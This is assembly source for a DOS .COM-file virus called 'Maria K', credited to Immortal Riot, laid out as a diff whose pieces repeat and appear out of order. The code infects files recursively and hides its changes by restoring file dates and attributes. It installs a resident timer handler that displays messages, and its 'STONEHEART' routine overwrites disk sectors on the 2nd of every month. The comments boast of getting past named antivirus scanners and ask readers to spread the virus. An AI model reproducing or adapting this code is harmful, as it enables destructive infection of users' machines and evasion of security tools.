inc byte ptr [si] ; New infection wave
|
||||||
|
|
||||||
|
push si ; Save offset num_infec
|
||||||
|
|
||||||
|
add si, offset infec_now - offset num_infec
|
||||||
|
mov byte ptr [si], 3 ; Reset infection
|
||||||
|
; counter to 3
|
||||||
|
; for D-new run.
|
||||||
|
|
||||||
|
call traverse_fcn ; Do all the work
|
||||||
|
|
||||||
|
pop si ; Restore offset num_infec
|
||||||
|
cmp byte ptr [si], waves ; 10 infection waves?
|
||||||
|
jge Go_Psycho ; If so, activate
|
||||||
|
|
||||||
|
mov ah, 2Ah ; Get date
|
||||||
|
int 21h
|
||||||
|
cmp dx, infec_date ; Is it 06/06?
|
||||||
|
jz Go_Psycho ; If so, activate
|
||||||
|
|
||||||
|
Go_Error:
|
||||||
|
jmp quit ; And then quit
|
||||||
|
|
||||||
|
Go_Psycho:
|
||||||
|
jmp Psycho ; Yeah, right!
|
||||||
|
|
||||||
|
origattr db 0
|
||||||
|
origtime dw 0
|
||||||
|
origdate dw 0
|
||||||
|
filesize dw 0 ; Size of the uninfected file
|
||||||
|
|
||||||
|
oldhandle dw 0
|
||||||
|
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
;D-Traversal function begins
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
traverse_fcn proc near
|
||||||
|
push bp ; Create stack frame
|
||||||
|
mov bp,sp
|
||||||
|
sub sp,44 ; Allocate space for DTA
|
||||||
|
push si
|
||||||
|
|
||||||
|
jmp infect_directory
|
||||||
|
In_fcn:
|
||||||
|
mov ah,1Ah ;Set DTA
|
||||||
|
lea dx,word ptr [bp-44] ;to space allotted
|
||||||
|
int 21h ;Do it now, do it hard!
|
||||||
|
|
||||||
|
mov ah, 4Eh ;Find first
|
||||||
|
mov cx,16 ;Directory mask
|
||||||
|
mov dx,offset dir_mask ;*.*
|
||||||
|
add dx,offset_off
|
||||||
|
int 21h
|
||||||
|
jmp short isdirok
|
||||||
|
gonow:
|
||||||
|
cmp byte ptr [bp-14], '.' ;Is first char == '.'?
|
||||||
|
je short donext ;If so, loop again
|
||||||
|
lea dx,word ptr [bp-14] ;else load dirname
|
||||||
|
mov ah,3Bh ;and changedir there
|
||||||
|
int 21h ;Yup, yup
|
||||||
|
jc short donext ;Do next if invalid
|
||||||
|
mov si, offset nest ;Else increment nest
|
||||||
|
add si, offset_off
|
||||||
|
inc word ptr [si] ;nest++
|
||||||
|
call near ptr traverse_fcn ;recurse directory
|
||||||
|
donext:
|
||||||
|
lea dx,word ptr [bp-44] ;Load space allocated for DTA addr
|
||||||
|
mov ah,1Ah ;and set DTA to it
|
||||||
|
int 21h ;cause it might have changed
|
||||||
|
|
||||||
|
mov ah,4Fh ;Find next
|
||||||
|
int 21h
|
||||||
|
isdirok:
|
||||||
|
jnc gonow ;If OK, jmp elsewhere
|
||||||
|
mov si, offset nest
|
||||||
|
add si, offset_off
|
||||||
|
cmp word ptr [si], 0 ;If root directory (nest == 0)
|
||||||
|
jle short cleanup ; Quit
|
||||||
|
dec word ptr [si] ;Else decrement nest
|
||||||
|
mov dx,offset back_dir ;'..'
|
||||||
|
add dx, offset_off
|
||||||
|
mov ah,3Bh ;Change directory
|
||||||
|
int 21h ;to previous one
|
||||||
|
cleanup:
|
||||||
|
pop si
|
||||||
|
mov sp,bp
|
||||||
|
pop bp
|
||||||
|
ret
|
||||||
|
traverse_fcn endp
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
;D-Traversal function ends
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
Goto_Error:
|
||||||
|
jmp Error
|
||||||
|
|
||||||
|
enuff_for_now:
|
||||||
|
;Set nest to nil
|
||||||
|
mov si, offset nest ;in order to
|
||||||
|
add si, offset_off ;halt the D-Cool
|
||||||
|
mov word ptr [si], 0 ;traversal fcn
|
||||||
|
jmp short cleanup
|
||||||
|
return_to_fcn:
|
||||||
|
jmp short In_fcn ;Return to traversal function
|
||||||
|
|
||||||
|
infect_directory:
|
||||||
|
mov ah, 1Ah ;Set DTA
|
||||||
|
mov dx, offset DTA ;to DTA struct
|
||||||
|
add dx, offset_off
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
find_first_COM:
|
||||||
|
mov ah, 04Eh ;Find first file
|
||||||
|
mov cx, 0007h ;Any file
|
||||||
|
mov dx, offset com_mask ;DS:[DX] --> filemask
|
||||||
|
add dx, offset_off
|
||||||
|
int 21h ;Fill DTA (hopefully)
|
||||||
|
jc return_to_fcn ;<Sigh> Error #E421:0.1
|
||||||
|
jmp check_if_COM_infected ;I<___-Cool! Found one!
|
||||||
|
|
||||||
|
find_next_file2:
|
||||||
|
mov si, offset infec_now ;Another loop,
|
||||||
|
add si, offset_off ;Another infection
|
||||||
|
dec byte ptr [si] ;Infected three?
|
||||||
|
jz enuff_for_now ;If so, exit
|
||||||
|
find_next_file:
|
||||||
|
mov ah,4Fh ;Find next
|
||||||
|
int 21h
|
||||||
|
jc return_to_fcn
|
||||||
|
|
||||||
|
check_if_COM_infected:
|
||||||
|
mov si, offset DTA + dta_filename + 6 ; look at 7th letter
|
||||||
|
add si, offset_off
|
||||||
|
cmp byte ptr [si], 'D' ;??????D.COM?
|
||||||
|
jz find_next_file ;Don't kill COMMAND.COM
|
||||||
|
|
||||||
|
mov ax,3D00h ;Open channel read ONLY
|
||||||
|
mov dx, si ;Offset Pathname in DX
|
||||||
|
sub dx, 6
|
||||||
|
int 21h ;Open NOW!
|
||||||
|
jc find_next_file ;If error, find another
|
||||||
|
|
||||||
|
xchg bx,ax ;bx is now handle
|
||||||
|
mov ah,3Fh ;Save
|
||||||
|
mov cx, part1_size ;first part
|
||||||
|
mov dx, offset buffer ;to buffer
|
||||||
|
add dx, offset_off ;to be restored
|
||||||
|
push dx
|
||||||
|
int 21h ;later
|
||||||
|
|
||||||
|
pop si ;Check for virus ID bytes
|
||||||
|
;in the buffer
|
||||||
|
push si
|
||||||
|
lodsw ;DS:[SI] -> AX
|
||||||
|
cmp ax, virus_marker ;Compare it
|
||||||
|
jnz infect_it ;infect if ID #1 not found
|
||||||
|
|
||||||
|
lodsw ;Check next two bytes
|
||||||
|
cmp ax, virus_marker2 ;Compare it
|
||||||
|
jnz infect_it ;infect if ID #2 not found
|
||||||
|
pop si
|
||||||
|
bomb_out:
|
||||||
|
mov ah, 3Eh ;else close the file
|
||||||
|
int 21h ;and go find another
|
||||||
|
jmp find_next_file ;'cuz it's already infected
|
||||||
|
|
||||||
|
Signature db 'Immortal Riot'
|
||||||
|
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
;D-Good Stuff - Infection routine
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
infect_it:
|
||||||
|
; save fileattr
|
||||||
|
pop si
|
||||||
|
add si, offset DTA + DTA_fileattr - offset buffer
|
||||||
|
mov di, si
|
||||||
|
add di, offset origattr - offset DTA - DTA_fileattr
|
||||||
|
movsb ;DS:[SI] -> ES:[DI]
|
||||||
|
movsw ;Save origtime
|
||||||
|
movsw ;Save origdate
|
||||||
|
movsw ;Save filesize
|
||||||
|
;Only need LSW
|
||||||
|
;because COM files
|
||||||
|
;can only be up to
|
||||||
|
;65535 bytes long
|
||||||
|
cmp word ptr [si - 2], part1_size
|
||||||
|
jl bomb_out ;is less than 8 bytes.
|
||||||
|
|
||||||
|
do_again:
|
||||||
|
mov ah, 2Ch ;get time
|
||||||
|
int 21h
|
||||||
|
add dl, dh ;1/100 sec + 1 sec
|
||||||
|
jz do_again ;Don't want orig strain!
|
||||||
|
|
||||||
|
mov si, offset encrypt_val
|
||||||
|
add si, offset_off
|
||||||
|
mov byte ptr [si], dl ;255 mutations
|
||||||
|
|
||||||
|
mov ax, 4301h ;Set file attributes
|
||||||
|
xor cx, cx ;to nothing
|
||||||
|
mov dx, si ;filename in DTA
|
||||||
|
add dx, offset DTA + DTA_filename - offset encrypt_val
|
||||||
|
int 21h ;do it now, my child
|
||||||
|
|
||||||
|
mov ah, 3Eh ;Close file
|
||||||
|
int 21h ;handle in BX
|
||||||
|
|
||||||
|
mov ax, 3D02h ;Open file read/write
|
||||||
|
int 21h ;Filename offset in DX
|
||||||
|
jc bomb_out ;Damn! Probs
|
||||||
|
|
||||||
|
mov di, dx
|
||||||
|
add di, offset oldhandle - offset DTA - DTA_filename
|
||||||
|
;copy filehandle to
|
||||||
|
;oldhandle
|
||||||
|
stosw ;AX -> ES:[DI]
|
||||||
|
xchg ax, bx ;file handle in BX now
|
||||||
|
|
||||||
|
mov ah, 40h ;Write DS:[DX]->file
|
||||||
|
mov cx, part1_size - 4 ;number of bytes
|
||||||
|
mov dx, 0100h ;where code starts
|
||||||
|
int 21h ;(in memory)
|
||||||
|
|
||||||
|
mov ah, 40h
|
||||||
|
mov si, di ; mov si, offset filesize
|
||||||
|
add si, offset filesize - 2 - offset oldhandle
|
||||||
|
add word ptr [si], 0100h
|
||||||
|
mov cx, 2
|
||||||
|
mov dx, si
|
||||||
|
int 21h ;write jmp offset
|
||||||
|
|
||||||
|
mov ax, [si] ;AX = filesize
|
||||||
|
sub ax, 0108h
|
||||||
|
|
||||||
|
add si, offset buffer3 - offset filesize
|
||||||
|
push si
|
||||||
|
mov word ptr [si], ax
|
||||||
|
mov ah, 40h
|
||||||
|
mov cx, 2
|
||||||
|
mov dx, si
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax, 4202h ;move file ptr
|
||||||
|
xor cx, cx ;from EOF
|
||||||
|
xor dx, dx ;offset cx:dx
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
call copy_rest_stuff
|
||||||
|
|
||||||
|
pop si
|
||||||
|
add si, offset oldhandle - offset buffer3
|
||||||
|
mov bx, word ptr [si]
|
||||||
|
mov ax, 5701h ;Restore
|
||||||
|
add si, offset origtime - offset oldhandle
|
||||||
|
mov cx, word ptr [si] ;old time and
|
||||||
|
add si, 2
|
||||||
|
mov dx, word ptr [si] ;date
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah, 3Eh ;Close file
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ax, 4301h ;Restore file
|
||||||
|
xor ch, ch
|
||||||
|
add si, offset origattr - offset origtime - 2
|
||||||
|
mov cl, byte ptr [si] ;attributes
|
||||||
|
mov dx, si ; filename in DTA
|
||||||
|
add dx, offset DTA + DTA_filename - offset origattr
|
||||||
|
int 21h ;do it now
|
||||||
|
|
||||||
|
jmp find_next_file2
|
||||||
|
|
||||||
|
GotoError:
|
||||||
|
jmp error
|
||||||
|
|
||||||
|
Psycho:
|
||||||
|
; Check if already installed
|
||||||
|
push es
|
||||||
|
mov byte ptr cs:[100h],0 ;Initialize fingerprint
|
||||||
|
xor bx, bx ;Zero BX for start
|
||||||
|
mov ax, cs
|
||||||
|
Init1: inc bx ;Increment search segment
|
||||||
|
mov es, bx ;value
|
||||||
|
cmp ax, bx ;Not installed if we reach
|
||||||
|
je Not_Installed_Yet ;the current segment
|
||||||
|
mov si, 100h ;Search segment for
|
||||||
|
mov di, si ;fingerprint in first
|
||||||
|
mov cx, 4 ;four bytes
|
||||||
|
repe cmpsb ;Compare
|
||||||
|
jne init1 ;If not equal, try another
|
||||||
|
jmp Quit_Init ;else already installed
|
||||||
|
|
||||||
|
Not_Installed_Yet:
|
||||||
|
pop es
|
||||||
|
mov word ptr cs:[Counter], init_delay
|
||||||
|
mov word ptr cs:[D_Mess], 1
|
||||||
|
|
||||||
|
; Copy interrupt handler to beginning of code
|
||||||
|
mov si, offset _int_08_handler
|
||||||
|
add si, offset_off
|
||||||
|
mov di, Int_08_Start
|
||||||
|
mov cx, int_end - int_start
|
||||||
|
rep movsb ;DS:[SI]->ES:[DI]
|
||||||
|
|
||||||
|
mov ax, 3508h ;Get int 8 handler
|
||||||
|
int 21h ;put in ES:BX
|
||||||
|
|
||||||
|
mov cs:[duh], bx ;Save old handler
|
||||||
|
mov cs:[duh+2], es ;in cs:[104h]
|
||||||
|
|
||||||
|
mov ax, 2508h ;Install new handler
|
||||||
|
mov dx, Int_08_Start ;from DS:DX
|
||||||
|
int 21h ;Do it
|
||||||
|
|
||||||
|
push es
|
||||||
|
mov ax, ds:[2Ch] ;Deallocate program
|
||||||
|
mov es, ax ;environment block
|
||||||
|
mov ah, 49h
|
||||||
|
int 21h
|
||||||
|
pop es
|
||||||
|
|
||||||
|
mov ax, 3100h ;TSR
|
||||||
|
mov dx, (offset int_end - offset int_start + offset part1_end - offset Code + 4 + 15 + 128) SHR 4
|
||||||
|
|
||||||
|
; these two lines are the "long" line above..pls, but ‚m together..
|
||||||
|
; mov dx, (offset int_end - offset int_start + offset part1_end -
|
||||||
|
; offset Code + 4 + 15 + 128) SHR 4
|
||||||
|
|
||||||
|
|
||||||
|
int 21h
|
||||||
|
int 20h ;In case of error
|
||||||
|
Quit_Init:
|
||||||
|
pop es
|
||||||
|
Error: ;On error, quit
|
||||||
|
Quit:
|
||||||
|
mov ah, 3Bh ;Change directory
|
||||||
|
mov dx, offset root_dir ;to the root dir
|
||||||
|
add dx, offset_off
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
mov ah,3Bh ;Change directory
|
||||||
|
;Return to orig dir
|
||||||
|
add dx, offset orig_path - offset root_dir
|
||||||
|
int 21h
|
||||||
|
|
||||||
|
; Copy buffer back to beginning of file
|
||||||
|
mov si, dx
|
||||||
|
add si, offset buffer2 - offset orig_path
|
||||||
|
mov di, 0100h
|
||||||
|
mov cx, part1_end - part1_start
|
||||||
|
rep movsb
|
||||||
|
|
||||||
|
mov di, 0100h
|
||||||
|
jmp di
|
||||||
|
int_start:
|
||||||
|
_int_08_handler proc far
|
||||||
|
push ax
|
||||||
|
push bx
|
||||||
|
push cx
|
||||||
|
push dx
|
||||||
|
push si
|
||||||
|
push ds
|
||||||
|
push es
|
||||||
|
pushf
|
||||||
|
dec word ptr CS:[Counter] ;Counter
|
||||||
|
jnz QuitNow
|
||||||
|
;ACTIVATION!!!
|
||||||
|
mov word ptr CS:[Counter], delay ;Reset counter
|
||||||
|
|
||||||
|
; Set up DS & ES to equal CS
|
||||||
|
push cs
|
||||||
|
pop ds
|
||||||
|
push cs
|
||||||
|
pop es
|
||||||
|
|
||||||
|
mov si, offset Messages - offset int_start + int_08_start
|
||||||
|
mov cx, cs:D_Mess
|
||||||
|
xor ah, ah
|
||||||
|
LoopY_ThingY:
|
||||||
|
lodsb ;DS:SI -> AL
|
||||||
|
add si, ax ;ES:BP -> Next message to display
|
||||||
|
loop LoopY_ThingY
|
||||||
|
|
||||||
|
lodsb
|
||||||
|
xchg si, bp
|
||||||
|
|
||||||
|
xor cx, cx
|
||||||
|
mov cl, al ;Length of string
|
||||||
|
mov ax, 1300h ;
|
||||||
|
mov bx, 0070h ;Page 0, inverse video
|
||||||
|
xor dx, dx ;(0,0)
|
||||||
|
int 10h ;Display ES:BP
|
||||||
|
inc word ptr cs:[D_Mess]
|
||||||
|
cmp word ptr cs:[D_Mess], num_messages
|
||||||
|
jnz Sigh
|
||||||
|
mov word ptr cs:[D_Mess], 1
|
||||||
|
|
||||||
|
Sigh: mov cx, 30h
|
||||||
|
Sigh2: push cx
|
||||||
|
mov cx, 0FFFFh
|
||||||
|
DelayX: loop DelayX
|
||||||
|
pop cx
|
||||||
|
loop Sigh2
|
||||||
|
xchg si, bp
|
||||||
|
QuitNow:
|
||||||
|
popf
|
||||||
|
pop es
|
||||||
|
pop ds
|
||||||
|
pop si
|
||||||
|
pop dx
|
||||||
|
pop cx
|
||||||
|
pop bx
|
||||||
|
pop ax
|
||||||
|
jmp dword ptr CS:duh
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
; Please don't just change the notes here included in the virus, and
|
||||||
|
; claim that it's your production. I know this isn't mine, but afterall,
|
||||||
|
; you could atleast say that I "renaissanced" it. Cuz mane people actually
|
||||||
|
; scans their programs nowdays (..or atleast here..), which makes it
|
||||||
|
; quite stupid to spread a virus which scan etc can find. And well, I'd
|
||||||
|
; like to get this little shit a bit spread..can you get it for me? :)..
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
|
||||||
|
Messages db 0
|
||||||
|
db 15, 'Maria K lives..' ; She ain't dead..
|
||||||
|
db 21, 'Somewhere in my heart..' ; That's truh..huh?
|
||||||
|
db 22, 'Somewhere in Sweden..' ; She lives here!
|
||||||
|
db 26, 'I might be insane..' ; I might be that..
|
||||||
|
db 38, 'But the society to blame..' ; Might be true....
|
||||||
|
db 40, 'The Unforgiven / Immortal Riot' ; That's me....
|
||||||
|
|
||||||
|
_int_08_handler endp
|
||||||
|
int_end:
|
||||||
|
part2_end:
|
||||||
|
|
||||||
|
CODE ends
|
||||||
|
end part1_start
|
||||||
|
|
||||||
|
; Greetings goes out to: Raver, Metal Militia, Scavenger,
|
||||||
|
; and of-cuz a mega Greeting to Maria K !..
|
||||||
@@ -0,0 +1,625 @@
|
|||||||
|
; VirusName : Maria K..
|
||||||
|
; Country : Sweden
|
||||||
|
; Author : The Unforiven / Immortal Riot
|
||||||
|
; Date : 26/09/1993
|
||||||
|
;
|
||||||
|
; This is a mutation of the "Bobvirus" written by Phalcon/Skism,
|
||||||
|
; Many thanks must go to the scratch coder of this one..(DA?)
|
||||||
|
;
|
||||||
|
; Mcafee Scan used to find this as "Cloud" Virus, But also
|
||||||
|
; as the "Beta" Virus. So..two guys in this little babe...
|
||||||
|
;
|
||||||
|
; This is a non-overwriting .COM files infector, it doesn't do
|
||||||
|
; anything to .EXE files, nor command.com. This goes memory
|
||||||
|
; resident. When it "goes-off", it prints out a "BOBism" every
|
||||||
|
; 5 minutes. If the virus finds itself in the memory, it will not
|
||||||
|
; go up again. It will NOT infect a program when you starts it,
|
||||||
|
; it's just the "printer-part" who is in memory"..
|
||||||
|
;
|
||||||
|
; This version is not encrypted as the original one, but instead,
|
||||||
|
; a hd-trasher has been added, so if some infected file is ran
|
||||||
|
; at the 2:nd every month, someone (me), will be very pleased..
|
||||||
|
;
|
||||||
|
; Scan v108 can't find this, BUT! S&S Toolkit 6.54 do find it!
|
||||||
|
; F-Prot (2.09) DON'T find this and TBScan can't identify it
|
||||||
|
; as the "original" virus, It says it's some "Unknown Virus".
|
||||||
|
;
|
||||||
|
; Okey, think that's all, have phun, and remember,
|
||||||
|
; livi'n ain't no crime!
|
||||||
|
;
|
||||||
|
|
||||||
|
CODE SEGMENT PUBLIC 'CODE'
|
||||||
|
ORG 100h
|
||||||
|
ASSUME CS:CODE,DS:CODE,SS:CODE,ES:CODE
|
||||||
|
|
||||||
|
DTA_fileattr EQU 21
|
||||||
|
DTA_filetime EQU 22
|
||||||
|
DTA_filedate EQU 24
|
||||||
|
DTA_filesize EQU 26
|
||||||
|
DTA_filename EQU 30
|
||||||
|
|
||||||
|
virus_marker equ 026FFh ; JMP WORD PTR
|
||||||
|
virus_marker2 equ 00104h ; 0104h
|
||||||
|
part1_size equ part1_end - part1_start
|
||||||
|
part2_size equ part2_end - part2_start
|
||||||
|
offset_off equ duh2
|
||||||
|
init_delay equ 5280 ; Initial delay
|
||||||
|
delay equ 400 ; Subsequent delay
|
||||||
|
num_Messages equ 7 ; Number of "Bob" messages
|
||||||
|
waves equ 7 ; Number of waves to go off after
|
||||||
|
infec_date equ 0606h ; Swedish National Day (0606)..
|
||||||
|
|
||||||
|
Counter equ 108h
|
||||||
|
D_Mess equ 110h
|
||||||
|
Int_08_Start equ 112h
|
||||||
|
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
; S&S Toolkit 6.54 (FindViru) "string" is placed at the "jmp word ptr duh",
|
||||||
|
; If you finds something to add here, then do! The place he placed his
|
||||||
|
; string is there the virus identify itselves, and I've failed with get
|
||||||
|
; the virus to work after some dully attempt to add some meanless shit.
|
||||||
|
; Anyhow..I must say that Alan kicks my ass here!..Eat my shorts!..
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
part1_start:
|
||||||
|
jmp word ptr duh
|
||||||
|
duh dw middle_part_end - part1_start + 100h
|
||||||
|
duh2 dw 0
|
||||||
|
part1_end:
|
||||||
|
|
||||||
|
middle_part_start:
|
||||||
|
middle_part_end:
|
||||||
|
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
;Part 2 begins: Dis is the D-Cool part
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
part2_start:
|
||||||
|
cld
|
||||||
|
call decrypt
|
||||||
|
mov si, offset Go
|
||||||
|
add si, offset_off
|
||||||
|
jmp si
|
||||||
|
|
||||||
|
encrypt_val db 00h
|
||||||
|
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
; Encrypt/Decrypt isn't really a "Crypt" Routine. Instead, it will check
|
||||||
|
; what day it if, and if it's the second (2:nd) any month, procedure Stone-
|
||||||
|
; Heart will blow off. Stoneheart makes your "heart"-drives be quite empty.
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
DECRYPT:
|
||||||
|
ENCRYPT:
|
||||||
|
mov ah,2ah ; Day-Checking..
|
||||||
|
int 21h ;
|
||||||
|
cmp dl,02 ; Check if day 02..
|
||||||
|
je STONEHEART ; If So..you're a lucky guy
|
||||||
|
jmp SORRY ; Otherwise..try with "date 02"..
|
||||||
|
|
||||||
|
STONEHEART: ; Name of her..
|
||||||
|
cli ;
|
||||||
|
mov ah,2 ; Starting right on..
|
||||||
|
cwd ; Starting it from 0.
|
||||||
|
mov cx,0100h ; Continue to 256....
|
||||||
|
int 026h ; No Exchauses!
|
||||||
|
jmp MARIA ; Jump For Joy..(J4J)..
|
||||||
|
|
||||||
|
MARIA: ; Yeah, her's other handle..
|
||||||
|
CLI ;
|
||||||
|
MOV AL,3 ; Continue with drive D..
|
||||||
|
MOV CX,700 ; Make drive d's heart fall apart..
|
||||||
|
MOV DX,00 ; Start from sector 0
|
||||||
|
MOV DS,[DI+99] ; Put random crap in DS
|
||||||
|
MOV BX,[DI+55] ; More crap in BX
|
||||||
|
CALL STONEHEART ; J4J..once again..
|
||||||
|
|
||||||
|
SORRY: ; I'm feeling soo sorry for you!
|
||||||
|
RET ; Cuz you managed to return!
|
||||||
|
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
; This used to be under Decrypt/Encrypt, but well, since I don't want
|
||||||
|
; no encryptions in this virus, I just remarked this..And well, Mcaffe's
|
||||||
|
; Beta String used to be place at "mov di, si", that might also be a little
|
||||||
|
; reason..Anyhow..since I didn't coded this from scratch, I can't deny you
|
||||||
|
; from modify in this code..So..Get your Encryption if you wants!
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
; MOV si, offset encrypt_val
|
||||||
|
; ADD si, offset_off
|
||||||
|
; MOV ah, byte ptr [si]
|
||||||
|
; MOV cx, offset part2_end - offset bam_bam
|
||||||
|
; ADD si, offset bam_bam - offset encrypt_val
|
||||||
|
; MOV di, si ; - "Beta-String used to be here..
|
||||||
|
; ÄÄ-ÄÄÄ-ÄÄÄÄÄÄÄÄ--ÄÄÄÄ--ÄÄÄÄÄÄ-ÄÄÄÄÄ--ÄÄÄÄÄÄÄ-ÄÄÄÄÄÄ----ÄÄÄÄÄÄ-ÄÄÄÄÄ-ÄÄÄÄ-
|
||||||
|
xor_loop:
|
||||||
|
lodsb ; DS:[SI] -> AL
|
||||||
|
xor al, ah
|
||||||
|
stosb
|
||||||
|
loop xor_loop
|
||||||
|
ret
|
||||||
|
|
||||||
|
copy_rest_stuff:
|
||||||
|
; Copying routine
|
||||||
|
push si ; SI -> buffer3
|
||||||
|
call encrypt
|
||||||
|
mov cx, part2_size
|
||||||
|
pop dx
|
||||||
|
add dx, offset part2_start - offset buffer3
|
||||||
|
mov ah, 40h
|
||||||
|
int 21h
|
||||||
|
call decrypt ; See what to do..
|
||||||
|
bam_bam:
|
||||||
|
ret
|
||||||
|
|
||||||
|
buffer db 0CDh, 20h, 0, 0, 0, 0, 0, 0
|
||||||
|
buffer2 db part1_end - part1_start dup (?)
|
||||||
|
buffer3 dw ?
|
||||||
|
orig_path db 64 dup (?)
|
||||||
|
num_infec db 0 ; Infection wave number
|
||||||
|
infec_now db 0 ; Number files infected this time
|
||||||
|
root_dir db '\',0 ; Root Dir spec
|
||||||
|
com_mask db '*.com',0 ; Files to infect
|
||||||
|
dir_mask db '*.*',0 ; Files to search for..
|
||||||
|
back_dir db '..',0 ; Dot-Dot..
|
||||||
|
nest dw 0
|
||||||
|
|
||||||
|
DTA db 43 DUP (0) ; For use by infect_dir
|
||||||
|
|
||||||
|
Go: ; Proc there Mcaf "cloud" string is placed.
|
||||||
|
|
||||||
|
add si, offset buffer - offset Go
|
||||||
|
mov di, si
|
||||||
|
add di, offset buffer2 - offset buffer
|
||||||
|
cmp dx, infec_date ; Added this two lines, and
|
||||||
|
jz Go_Psycho ; "Cloud" string is gone...
|
||||||
|
mov cx, part1_size
|
||||||
|
rep movsb
|
||||||
|
mov ah, 47h ; Get directory
|
||||||
|
xor dl,dl ; Default drive
|
||||||
|
add si, offset orig_path - offset buffer - 8
|
||||||
|
int 21h ; in orig_path
|
||||||
|
|
||||||
|
jc Go_Error
|
||||||
|
mov ah, 3Bh ; Change directory
|
||||||
|
mov dx, si ; to the root dir
|
||||||
|
add dx, offset root_dir - offset orig_path
|
||||||
|
int 21h
|
||||||
|
jc Go_Error
|
||||||
|
|
||||||
|
add si, offset num_infec - offset orig_path
|
||||||
|
inc byte ptr [si] ; New infection wave
|
||||||
|
|
||||||
|
push si ; Save offset num_infec
|
||||||
|
|
||||||
|
add si, offset infec_now - offset num_infec
|
||||||
|
mov byte ptr [si], 3 ; Reset infection
|
||||||
|
